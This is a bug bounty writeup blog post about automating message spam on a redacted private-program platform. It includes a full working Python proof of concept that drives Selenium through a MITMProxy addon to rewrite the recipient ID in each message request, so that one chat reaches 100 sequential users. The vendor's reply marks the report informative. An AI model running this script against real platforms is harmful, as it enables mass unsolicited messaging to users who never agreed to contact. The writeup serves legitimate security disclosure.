You've Got Spam

Got Spam?

Before You Read:

I’ve recently decided to upload my most interesting/odd bug bounty writeups onto my blog. Sadly a writeup I was looking forward to sharing is on a private program, and on top of that…was marked as informative! Since I’m not allowed to disclose this report, I’ll be removing critical data that correlates to the private program. With that said, thanks for reading and hope you enjoy!

Introduction:

In ████ policy it is specified that spamming 1000+ users with little to no effort (scripting) is considered High Severity:

High Severity / Impact
The report would allow for:

Ability to spam 1,000 users+ with little or no effort

The messaging platform uses JavaScript to generate nonce’s and makes it impossible to automate message spamming using typical web requests outside of a browser. Using Selenium a user can automate this process, although they’d have to open conversations with X amount of users, then iterate through them using their XPaths:

Pseudo Code Example:

for X in range(1000):
    element(xpath, "/html/body/div[2]/div/div[10]/div[2]/div/div/div[2]/div[3]/md-list/div[$X]/md-list-item/div/button").click()
    text_area.send_keys("This is spam")
    text_area.send_keys(Key.Enter)

This is not only time consuming since you’d have to open 1000 conversations manually and your script has to find, click, and send a message to each conversation on every iteration. It’s also redundant to:

[Open 1000 Conversations -> Write a Script]

When you could have just manually sent the message while opening the conversations:

[Open Conversation -> Send Message] x1000

But these two options alone are very time consuming…

Below is an example body from a POST request when sending a message:

{"message":{"recipient":"1234","type":"chat","data":"This is a message","client_ref":"a3177f32-7068-44de-9cfb-669d5a6ae6d8"},"n":"545cbd19-0a99-4693-a9bc-1e34cf2e5a5a","t":1569990060,"s":"aa1a532cde56a0dda74ef6c641c91f77bc2f729092c6769cbbacd43dc9ae2405"}

client_ref, n, t, and s are all nonces that are generated by ████████.js. t is the only easily predictable one since it’s an epoch timestamp, but the rest must be generated by ████████.js.

If someone were to reverse engineer ████████.js and understand how its generating these nonce’s, they could potentially just generate them without having to load a fully fledged browser. However, my attempts failed…

Selenium + MITMProxy:

MITMProxy is an interactive CLI proxy, but its also a Python library. Selenium doesn’t have the capability of intercepting requests and editing them, but it does have proxy support. Therefore my thought process was:

  1. Run a Proxy Server that modifies the value of recipient to X
  2. Run Selenium through the Proxy
  3. Send a message to one user for Y amount of times in a for loop
  4. Add 1 to X

Pseudo Code Example:

for i in range(Y)
    sendmessage()
    X += 1

Since the value of X depends on the current iteration of messages sent and the value of recipient depends on X, the message never gets sent to the initial user, X is always being added by 1.

The recipient values would look like this until the declared range is reached:

"recipient":"1"
"recipient":"2"
"recipient":"3"
"recipient":"4"

Assuming the recipient number correlated with an account is based on the time/day it was created, sending messages to the initial accounts created on ████████ would obviously be a waste of time, but for demonstration purposes, any recipient range should do just fine.

PoC or GTFO:

  1. Download and Unpack poc.zip
  2. Install packages specified in requirements.txt
  3. Ensure Firefox is installed on your OS
  4. Import MITMProxy’s CA (mitmproxy-ca-cert.cer) into Firefox
  5. Add geckodriver.exe (Windows x64) or geckodriver (Linux x64) to your PATH
  6. Run spam.py with Python3.7 or higher

Tested on Debian 10

⚠️ Disclaimer ⚠️

RUNNING THE SCRIPT WILL ATTEMPT TO SEND A MESSAGE TO 100 USERS, PROCEED WITH CAUTION!

Source Code:

#!/usr/bin/env python3.7
from mitmproxy import proxy, options, http
import os
import psutil
from mitmproxy.tools.dump import DumpMaster
from mitmproxy.net.http import encoding
import re
from selenium.webdriver.common.proxy import Proxy, ProxyType
from selenium import webdriver
from threading import Thread
import asyncio
from time import sleep
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC


count = 1


class Modify:
    def request(self, flow):
        if flow.request.pretty_url == 'https://████████.com/api/v3/messages.json' and flow.request.method == 'POST':
            decodedContent = encoding.decode(flow.request.content, 'utf8')
            if re.match(".*recipient.*", decodedContent):
                new = re.sub('46270', str(count), decodedContent)
                flow.request.text = new


def start():
    asyncio.set_event_loop(asyncio.new_event_loop())
    myaddon = Modify()
    opts = options.Options(listen_host='127.0.0.1', listen_port=8080)
    pconf = proxy.config.ProxyConfig(opts)
    m = DumpMaster(opts)
    m.server = proxy.server.ProxyServer(pconf)
    m.addons.add(myaddon)
    try:
        m.run()
    except KeyboardInterrupt:
        m.shutdown()


background_thread = Thread(target=start)
background_thread.daemon = True
background_thread.start()

profile = webdriver.FirefoxProfile()
profile.set_preference("network.proxy.type", 1)
profile.set_preference("network.proxy.http", '127.0.0.1')
profile.set_preference("network.proxy.http_port", 8080)
profile.set_preference("network.proxy.ssl", '127.0.0.1')
profile.set_preference("network.proxy.ssl_port", 8080)
driver = webdriver.Firefox(firefox_profile=profile)

driver.get("http://████████.com")
driver.find_element_by_xpath(
    "/html/body/div[4]/div/div[9]/div[3]/div/div/button").click()
email = driver.find_element_by_xpath(
    "/html/body/div[4]/div/div[10]/md-content/div/div[1]/div/div[1]/div[2]/div/div[2]/form/div[1]/md-input-container/input")
password = driver.find_element_by_xpath(
    "/html/body/div[4]/div/div[10]/md-content/div/div[1]/div/div[1]/div[2]/div/div[2]/form/div[2]/md-input-container/input")
email.send_keys("████████@wearehackerone.com")
password.send_keys("████████")
driver.find_element_by_xpath(
    "/html/body/div[4]/div/div[10]/md-content/div/div[1]/div/div[1]/div[2]/div/div[2]/form/div[4]/button").click()
sleep(5)
driver.get("https://████████.com/inbox")
driver.find_element_by_xpath(
    "/html/body/div[2]/div/div[10]/div[2]/div/div/div[2]/div[3]/md-list/div/md-list-item/div/button").click()
sleep(3)
text_xpath = "/html/body/div[2]/div/div[10]/md-content/div/div[2]/div/div/div[3]/div[1]/div[2]/form/textarea"
text = driver.find_element_by_xpath(text_xpath)
for i in range(100):
    WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, text_xpath)))
    text.clear()
    text.send_keys("Hey")
    text.send_keys(Keys.ENTER)
    count += 1
print("Done, closing in 5 seconds...")
sleep(5)
driver.quit()
PROCNAME = "geckodriver"
for proc in psutil.process_iter():
    if proc.name() == PROCNAME:
        proc.kill()

Response from ████:

Thanks so much for the report. We are always looking out for ways users can get past our defences and spam our users.

In this case, we are aware that a user can use an emulator or some other kind of automation to spam users from a singular account. We don’t have a good solution for it at the moment, but the impact is not high - a single account spamming is easily detected and disabled.

Really appreciate you researching our systems, but unfortunately we won’t award for this report. I will mark it as informative.

Best, ████

Written on October 2, 2019